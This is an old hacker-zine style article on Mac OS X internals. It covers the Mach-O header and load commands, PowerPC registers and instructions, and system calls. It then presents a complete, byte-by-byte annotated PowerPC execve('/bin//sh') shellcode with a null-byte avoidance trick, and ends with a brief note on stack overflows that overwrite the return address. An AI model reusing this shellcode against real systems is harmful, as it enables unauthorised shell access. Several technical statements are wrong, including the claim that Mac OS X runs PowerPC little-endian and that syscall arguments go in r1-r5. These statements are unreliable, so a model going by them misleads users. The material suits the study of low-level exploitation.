_ _:. :$$$$$ _ . - +. :l$³³$$ s¿¿,,_ +:@QSSS$$$$$ `` $$$$$$$$bs¿.`"Ù?$$$l [ short look at MacOs X ] 'ÀÀ?$$³$$$$b¿_ . [ madcr ] `"À$³$b. . `À?b. `. `Ù. + `$ _. ` [-] intro. [--] power pc. registers set, instructions. [---] mac os x assembler. systemcalls. [--] fun with stack. [-] references. -[[ intro For the first,want to say,what Darwin is a kernel of MacOSX.Darwin was written by Apple,for PPC processors,but in nowdays yet a port on x86 (but only kernel, porting macos x on x86 not exists in Apple plans). I mention about this, coz someone think that darwin is functionally operation system, but it is only kernel, what based on MACH microkernel with taken syscalls from FreeBSD. MacOS X have three types of executable files.Type Mach-O,is native for macosx. I not have wish reverse it with analogue of Alpha, but do quick view on it. It not usually, coz in file have load commands: from include/mach-o/loader.h: ------- The load commands directly follow the mach_header.The total size of all of the commands is given by the sizeofcmds field in the mach_header.All load commands must have as their first two fields cmd and cmdsize.The cmd field is filled in with a constant for that command type. Each command type has a structure specifically for it. The cmdsize field is the size in bytes of the particular load command structure plus anything that follows it that is a part of the load command (i.e. section structures, strings, etc.). To advance to the next load command the cmdsize can be added to the offset or pointer of the current load command. The cmdsize MUST be a multiple of 4 bytes (this is forever the maximum alignment of any load commands). The padded bytes must be zero. All tables in the object file must also follow these rules so the file can be memory mapped. Otherwise the pointers to these tables will not work well or at all on some machines. With all padding zeroed like objects will compare byte for byte. ------- For example, standart executable have 3 load segment command: 1-st lc_segment - __PAGEZERO 2-st lc_segment - __TEXT 3-st lc_segment - __LINKEDIT (if not use -noseglinkedit) One is lc_symtab and one lc_unixthread.Section headers (if exist),contained in lc_segment commands (unsigned long nsects; // number of sections in segment). In usualy case, in _TEXT after load command followed header that describe code section. As upper mentioned,for each load command exist own format. Number of various formats - 24, their structures described in include/mach-o/loader.h. Special interest have a lc_segment: struct segment_command { unsigned long cmd; /* LC_SEGMENT */ unsigned long cmdsize; /* includes sizeof section structs */ char segname[16]; /* segment name */ unsigned long vmaddr; /* memory address of this segment */ unsigned long vmsize; /* memory size of this segment */ unsigned long fileoff; /* file offset of this segment */ unsigned long filesize; /* amount to map from the file */ vm_prot_t maxprot; /* maximum VM protection */ vm_prot_t initprot; /* initial VM protection */ unsigned long nsects; /* number of sections in segment */ unsigned long flags; /* flags */ }; vmaddr,vmsize,maxprot,initprot .. i think it should be very bugged. try it. btw,in mach-o header, magic bytes is a - 0xFEEDFACE. So, "hello" to developers of cisco images ;) -[[ power pc. registers set, instructions PPC also like and Alpha based on risc technology,thats meaning many registers, and "triple" instructions. And also as on Alpha, no instructions that directly work with stack. That bypass via read/write from needed stack addresses (stmw rXX,-8(r1), lwz rXX,-8(r1)). Basic registers for as also, 32 integer registers from $r0 to $r31(/usr/include/architecture/ppc/reg_help.h) r0 - zt - architecturally 0 for mem refs only! r1 - sp - stack pointer r2 - toc - table of contents r3-r10 - a0-a7 - first 8 args r11 - ep - environment ptr r12 - at - assembler temp r13-r30 - s17-s0 - callee-saved 17 - 0 r31 - fp - frame-pointer. From special purposes registers interesting one - lr, coz, it contain return address. Power P‘ processors may work as in little, as and in big endian modes (LE bit in MSR register). For AIX is big endian,for MacOSX little. Instructions always 4 bytes long. Main types of them :  Load and store - load directly constants and move data via memory and registers : stw r0,8(r1) - contents of r0 write on address in r1+8.  Arithmetic - mathematics: addi r6,r1,300 // ¢ r6 - r1+300  Logical and shift - logic: xor r5,r5,r5  Relational - comparison  Move - moving data: mtcrf,mcrxr,etc  Control - jump,conditionally/unconditionally etc: bcl 20,31,real_start b string bl aga  Special-purpose - special purpose, 'sc' for example. In real, instruction types in power pc more than 40,and right way is read smth from [1]. -[[ mac os x assembler. systemcalls. Usual assembler - gnu as. Syscall via sc instruction. List of sycalls in /usr/include/sys/syscall.h (as i write upper, it was taken from FreeBSD). Working in that way: in r0 syscall number, in r1-r5 arguments, and call via sc instruction: "\x38\x40\x69\x6e" // li r2,0x696e "\x3c\x02\x2f\x62" // addis r0,r2,lo16(0x2f62) // r0 have /bin (0x2f62696e) "\x38\x40\x73\x68" // li r2,0x7368 "\x3c\x42\x2f\x2f" // addis r2,r2,lo16(0x2f2f) // r2 have //sh (0x2f2f7368) "\x7c\xa5\x2a\x78" // xor r5,r5,r5 // r5 = null "\x38\xc1\x01\x2c" // addi r6,r1,300 // in r6 - r1+300 "\x90\x06\xfe\xd8" // stw r0,-296(r6) // in stack /bin (300-296=4) "\x90\x46\xfe\xdc" // stw r2,-292(r6) // in stack //sh (300-292=8) "\x90\xa6\xfe\xe0" // stw r5,-288(r6) // NULL in stack after /bin//sh (300-288=12) "\x38\x66\xfe\xd8" // addi r3,r6,-296 // in r3 addr on /bin/sh (4) "\x90\x66\xfe\xe4" // stw r3,-284(r6) // addr on /bin/sh in stack (16) "\x38\x86\xfe\xe4" // addi r4,r6,-284 // addr on addr on /bin/sh in r4 (16) "\x90\xa6\xfe\xe8" // stw r5,-280(r6) // NULL in stack after addr to /bin//sh (20) "\x7c\x42\x12\x78" // xor r2,r2,r2 // r2 = null "\x7c\xc6\x32\x78" // xor r6,r6,r6 "\x38\xc6\x01\x2c" // addi r6,r6,300 "\x38\xc6\xff\x0f" // addi r6,r6,-241 "\x7c\xc0\x33\x78" // mr r0,r6 // r0 = 59 (3b,execve) "\x44\xff\xaa\x02" // .byte 0x44,0xff,0xaa,0x02 // sc Interest moment here it is self sc instruction. On default creates opcode 0x44000002. For let evil null away, reading instructions manual: sc opcode: 1byte 2 byte 3 byte 4 byte 0-1-0-0-0-1-r-r r-r-r-r-r-r-r-r r-r-r-r-r-r-r-r r-r-r-r-r-r-1-r r - reserved bits. may content any crap,main for processor is a first and four byte. Because of that i just use 0xffaa. -[[ fun with stack. All like in case of tru64. Ret address storage - $lr + stack. And then ... We overwrite EIP to point back into the stack and execute our shellcode :) [3]. -[[ references [1] Some PPC User's Manuals [2] MacOS X includes [3] bonus/eip.jpg (i don't remember where i found it, but pict real funny)